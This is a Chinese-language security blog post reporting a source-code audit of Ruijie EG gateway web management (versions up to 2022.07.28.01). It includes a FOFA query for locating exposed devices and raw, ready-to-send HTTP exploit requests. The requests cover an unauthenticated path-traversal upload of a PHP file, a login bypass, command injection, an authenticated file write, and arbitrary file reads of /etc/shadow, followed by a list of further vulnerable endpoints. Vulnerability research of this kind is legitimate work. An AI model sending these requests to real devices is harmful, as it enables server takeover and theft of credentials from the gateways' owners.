文章总结: 本文详细分析了锐捷EG易网关系统存在的多个安全漏洞,包括前台文件上传漏洞、后台鉴权绕过、命令注入、后台上传和任意文件读取漏洞。文章提供了漏洞原理分析、源码审计过程以及具体的漏洞复现步骤,展示了如何利用这些漏洞获取服务器文件或权限。受影响版本为2022.07.28.01及以下版本,攻击者可通过构造特定请求实现远程代码执行和敏感信息获取。
综合评分: 85
文章分类: 代码审计,漏洞分析,WEB安全,渗透测试,漏洞预警
锐捷EWEB多枚漏洞挖掘实战:代码审计与漏洞复现详解
Polaris安全团队
2025年8月13日 17:02
广西
前言
前两天拿到该源码审到漏洞时候挺兴奋的,然后去搜历史漏洞发现师傅们太给力了 一个漏洞点没给我留下,该文章就当学习
免责声明
由于传播、利用Polaris本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责。仅记录学习使用。
fofa指纹
title="锐捷网络-EWEB网管系统" || app="Ruijie-EG易网关" && body="/login.php?a=version"
漏洞简介
锐捷EG易网关是一款综合网关,由锐捷网络完全自主研发。它集成了先进的软硬件体系架构,配备了DPI深入分析引擎、行为分析/管理引擎,可以在保证网络出口高效转发的条件下,提供专业的流控功能、出色的URL过滤以及本地化的日志存储/审计服务。锐捷EG易网关多接口存在漏洞,攻击者可以以下漏洞 获取服务器文件或权限
影响版本
影响版本
<=2022.07.28.01
漏洞
前台文件上传
源码分析发现
fileupload.php接口未进行继承鉴权类因而造成任意文件上传
并且该路径可控 对于uploadDir可以进行路径穿越,name也是可控的
#
接口:/html/ddi/server/fileupload.php 无鉴权操作,可直接构造数据包
POST /ddi/server/fileupload.php?uploadDir=../../co&name=co.php HTTP/1.1
Host:
Accept: text/plain, */*; q=0.01
Content-Disposition: form-data; name="file"; filename="co.php"
Content-Type: image/jpeg
<?php phpinfo();?>
后台漏洞
绕过鉴权
位置:/html/ddi/server/login.php
关键逻辑如下
$res = execCli("exec", "webmaster $username $password");
复现
POST /ddi/server/login.php HTTP/1.1
Host:
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
username=admin&password=guest?
后台命令注入
接口:/html/flow_control_pi/flwo.control.php
源码分析:
type 直接拼接进 $command 中后使用 exec 执行拼接后的命令,无进行任何过滤和检测,造成命令注入漏洞。
替换cookie即可
复现
POST /flow_control_pi/flwo.control.php?a=setFlowGroup HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Content-Type: application/x-www-form-urlencoded
Cookie: RUIJIEID=oqpaeql6qine3ppe73l8ubtff0; RUIJIEID=oqpaeql6qine3ppe73l8ubtff0
Accept-Encoding: gzip
Content-Length: 9
type=whoami
后台上传
接口 /html/system_pi/timeout.php?a=upload
源码分析
接收一个post包 参数为filename参数用于fopen函数写入文件名,mes参数参数值为写入内容,无任何过滤故能文件上传
复现
POST /system_pi/timeout.php?a=upload HTTP/1.1
Host:
Cookie: 9o4mrpl9fgb690bkaj68mindb5; RUIJIEID=9o4mrpl9fgb690bkaj68mindb5
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
Content-Length: 51
fileName=../tmp/html/a.php&mes=<?php phpinfo();?>
文件路径:http://127.0.0.1/a.php
#
后台任意文件读取*8
源码/html/ddi/server/dhcp.php
未对filePath进行过滤,构成任意文件读取复现
POST /ddi/server/dhcp.php?a=csv HTTP/1.1
Host:
Cookie: 9o4mrpl9fgb690bkaj68mindb5; RUIJIEID=9o4mrpl9fgb690bkaj68mindb5
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 20
filePath=/etc/shadow
如下接口都可进行构造,不进行一一构造
/ddi/server/common.php
/ddi/server/common.php?a=getTxt
/ddi/server/ipam.php?a=getIpamJson
/system_pi/timeout.php?a=getFile
/ddi/server/dns.php?a=overvie
/check.php?url=
/download.php?a=read_txt&file=
总结
这套源码还是挺好审,因为调用的函数不需要调用很多,所以能够直接利用
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Polaris安全团队 《锐捷EWEB多枚漏洞挖掘实战:代码审计与漏洞复现详解》